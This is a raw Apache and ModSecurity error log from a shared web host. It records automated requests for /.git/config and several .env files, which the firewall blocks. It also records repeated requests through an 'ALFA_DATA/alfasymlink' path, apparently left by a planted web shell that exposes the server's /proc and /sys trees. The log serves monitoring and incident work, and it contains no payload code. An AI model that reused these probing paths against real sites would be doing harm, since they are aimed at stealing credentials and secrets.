[Mon Oct 26 23:14:00.585617 2026] [security2:error] [pid 3149145:tid 3149145] [client 172.235.210.84:60938] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAW-GD99EvW2fD6Vi-vkwAAABM"]
[Mon Oct 26 23:14:00.585870 2026] [security2:error] [pid 3149145:tid 3149145] [client 172.235.210.84:60938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAW-GD99EvW2fD6Vi-vkwAAABM"]
[Mon Oct 26 23:14:00.586241 2026] [security2:error] [pid 3149145:tid 3149145] [client 172.235.210.84:60938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAW-GD99EvW2fD6Vi-vkwAAABM"]
[Mon Oct 26 23:14:00.995213 2026] [core:crit] [pid 3149143:tid 3149143] (13)Permission denied: [client 172.235.210.84:60940] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 23:14:10.444137 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 184.72.84.154:48390] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:14:14.358087 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 35.168.238.50:50753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:14:38.206547 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 50.19.221.48:17617] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:01/physical_node/rescan
[Mon Oct 26 23:14:46.513680 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 184.73.47.24:49548] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:14:50.395272 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 44.217.177.142:50787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:14:58.126118 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.7.33.248:48433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:06.124997 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 18.213.27.222:60559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:08.225161 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 85.208.96.198:50406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:22.134170 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 34.236.135.14:10805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:26.208572 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 52.204.174.139:22980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:30.123916 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 100.29.63.24:17375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/unbind
[Mon Oct 26 23:15:38.162685 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 50.16.248.61:20119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:42.249257 2026] [core:error] [pid 3145297:tid 3145297] (13)Permission denied: [client 100.25.120.246:3110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory12/node0/memory12/subsystem/uevent
[Mon Oct 26 23:15:46.131388 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 3.235.215.92:31260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:50.167099 2026] [ssl:error] [pid 3149145:tid 3149145] (70014)End of file found: [client 54.243.63.52:51902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:15:51.053446 2026] [security2:error] [pid 3149482:tid 3149482] [client 45.231.155.188:57086] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/proyecto.php"] [unique_id "auAXZzNB9i90nPiYh7BZTAAAAA4"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:15:58.192071 2026] [security2:error] [pid 3146389:tid 3146389] [client 52.5.242.243:29976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/link/"] [unique_id "auAXbuJUkwm96ZYHDUs10wAAABE"]
[Mon Oct 26 23:15:58.192115 2026] [security2:error] [pid 3146389:tid 3146389] [client 52.5.242.243:29976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/link/"] [unique_id "auAXbuJUkwm96ZYHDUs10wAAABE"]
[Mon Oct 26 23:16:18.552613 2026] [core:error] [pid 3147513:tid 3147513] (13)Permission denied: [client 185.191.171.11:12612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/objects
[Mon Oct 26 23:16:22.193891 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 52.54.15.103:57517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:16:26.137489 2026] [ssl:error] [pid 3149145:tid 3149145] (70014)End of file found: [client 184.73.195.18:54968] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:16:30.150708 2026] [ssl:error] [pid 3149482:tid 3149482] (70014)End of file found: [client 3.226.106.93:47407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:16:34.127875 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 35.169.102.85:48627] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:16:38.158863 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 100.28.118.16:26202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:16:54.130482 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 34.238.45.183:57749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:17:02.624600 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 85.208.96.203:31406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/cache_dma
[Mon Oct 26 23:17:14.193846 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 3.229.2.217:44115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:17:34.115733 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 54.88.84.219:9666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:17:42.158363 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 54.87.95.7:60282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/new_id
[Mon Oct 26 23:17:46.242941 2026] [ssl:error] [pid 3146389:tid 3146389] (5)Input/output error: [client 3.213.106.226:13736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:17:50.236051 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 54.162.69.192:58584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:17:54.123421 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 3.226.106.93:63874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:17:58.157470 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 98.84.184.80:48990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:18:02.107583 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 35.173.18.61:22977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/resource4_wc
[Mon Oct 26 23:18:06.229878 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 54.147.238.89:41403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/usb-conn-gpio/unbind
[Mon Oct 26 23:18:10.112063 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 54.163.136.244:59389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:18:22.158671 2026] [security2:error] [pid 3145296:tid 3145296] [client 45.148.10.122:56156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "auAX_oosHI5IdM2X3iJ1FgAAAAI"]
[Mon Oct 26 23:18:22.159732 2026] [security2:error] [pid 3145296:tid 3145296] [client 45.148.10.122:56156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "auAX_oosHI5IdM2X3iJ1FgAAAAI"]
[Mon Oct 26 23:18:22.160262 2026] [security2:error] [pid 3145296:tid 3145296] [client 45.148.10.122:56156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "auAX_oosHI5IdM2X3iJ1FgAAAAI"]
[Mon Oct 26 23:18:22.163601 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 35.174.141.243:52153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:18:22.419598 2026] [security2:error] [pid 3149145:tid 3149145] [client 45.148.10.122:56162] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAX_mD99EvW2fD6Vi-vnQAAABM"]
[Mon Oct 26 23:18:22.420186 2026] [security2:error] [pid 3149145:tid 3149145] [client 45.148.10.122:56162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAX_mD99EvW2fD6Vi-vnQAAABM"]
[Mon Oct 26 23:18:22.420460 2026] [security2:error] [pid 3149145:tid 3149145] [client 45.148.10.122:56162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAX_mD99EvW2fD6Vi-vnQAAABM"]
[Mon Oct 26 23:18:22.677943 2026] [security2:error] [pid 3146389:tid 3146389] [client 45.148.10.122:56174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAX_uJUkwm96ZYHDUs12wAAABE"]
[Mon Oct 26 23:18:22.678499 2026] [security2:error] [pid 3146389:tid 3146389] [client 45.148.10.122:56174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAX_uJUkwm96ZYHDUs12wAAABE"]
[Mon Oct 26 23:18:22.678797 2026] [security2:error] [pid 3146389:tid 3146389] [client 45.148.10.122:56174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAX_uJUkwm96ZYHDUs12wAAABE"]
[Mon Oct 26 23:18:24.190530 2026] [security2:error] [pid 3145297:tid 3145297] [client 45.148.10.122:56214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAYAAXZqBEb3bhAlSmHgAAAAAM"]
[Mon Oct 26 23:18:24.191165 2026] [security2:error] [pid 3145297:tid 3145297] [client 45.148.10.122:56214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAYAAXZqBEb3bhAlSmHgAAAAAM"]
[Mon Oct 26 23:18:24.191415 2026] [security2:error] [pid 3145297:tid 3145297] [client 45.148.10.122:56214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAYAAXZqBEb3bhAlSmHgAAAAAM"]
[Mon Oct 26 23:18:26.181374 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 52.7.33.248:53303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:18:30.163129 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 54.225.81.20:58219] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:18:42.122411 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 98.83.177.42:60911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:18:58.298079 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 34.231.77.232:21758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:02.425744 2026] [core:error] [pid 3149482:tid 3149482] (13)Permission denied: [client 3.235.215.92:24934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/14/module/uevent
[Mon Oct 26 23:19:06.150213 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 52.54.249.218:23829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:26.140438 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 100.29.34.97:38542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:30.120913 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 54.235.158.162:28128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS2/xmit_fifo_size
[Mon Oct 26 23:19:34.282289 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 3.217.82.254:34993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:38.176356 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 44.197.76.210:16675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:42.238905 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 34.193.2.57:30789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:46.135894 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 44.212.106.171:59476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:19:58.452366 2026] [ssl:error] [pid 3145297:tid 3145297] (5)Input/output error: [client 34.226.89.140:9283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:14.164969 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 34.227.156.153:51588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:14.165161 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.227.156.153:51588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/power/runtime_active_time"] [unique_id "auAYbuJUkwm96ZYHDUs14gAAABE"]
[Mon Oct 26 23:20:14.165183 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.227.156.153:51588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/power/runtime_active_time"] [unique_id "auAYbuJUkwm96ZYHDUs14gAAABE"]
[Mon Oct 26 23:20:18.131103 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 50.19.102.70:38544] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:22.183632 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 54.243.63.52:11583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:30.148920 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 18.211.39.188:33461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:46.226366 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 54.235.191.179:20820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:50.151554 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 98.83.226.125:56716] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:54.192747 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 3.209.174.110:10553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:20:58.179492 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 52.202.52.82:17098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:21:02.146446 2026] [core:error] [pid 3150489:tid 3150489] (13)Permission denied: [client 54.235.172.96:56360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/device/tty/ttyS0/custom_divisor
[Mon Oct 26 23:21:10.197360 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 35.169.119.108:64824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers/processor/cpu0/subsystem/drivers_probe
[Mon Oct 26 23:21:16.804073 2026] [core:error] [pid 3150489:tid 3150489] (13)Permission denied: [client 85.208.96.200:20436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/partial
[Mon Oct 26 23:21:22.270092 2026] [core:error] [pid 3148730:tid 3148730] (13)Permission denied: [client 54.225.148.123:27768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/28/module/uevent
[Mon Oct 26 23:21:26.149386 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 44.215.61.66:25971] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/QEMU0002:00/physical_node/driver/uevent
[Mon Oct 26 23:21:30.170593 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.200.58.199:53241] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:21:30.632210 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 85.208.96.211:38822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:21:46.208650 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 50.19.102.70:1672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/PNP0F13:00/physical_node/subsystem/devices/00:00/driver/uevent
[Mon Oct 26 23:22:08.393569 2026] [security2:error] [pid 3147515:tid 3147515] [client 107.172.76.131:57250] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAY0ztlUsnco091MEfl1wAAAAc"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 23:22:08.393633 2026] [security2:error] [pid 3147515:tid 3147515] [client 107.172.76.131:57250] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAY0ztlUsnco091MEfl1wAAAAc"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 23:22:10.150539 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.204.37.237:63989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:22:14.134672 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 52.23.112.144:45947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:22:34.223928 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 23.22.105.143:58890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:22:38.290452 2026] [core:error] [pid 3145297:tid 3145297] (13)Permission denied: [client 34.233.114.237:42278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/subsystem/drivers/processor/bind
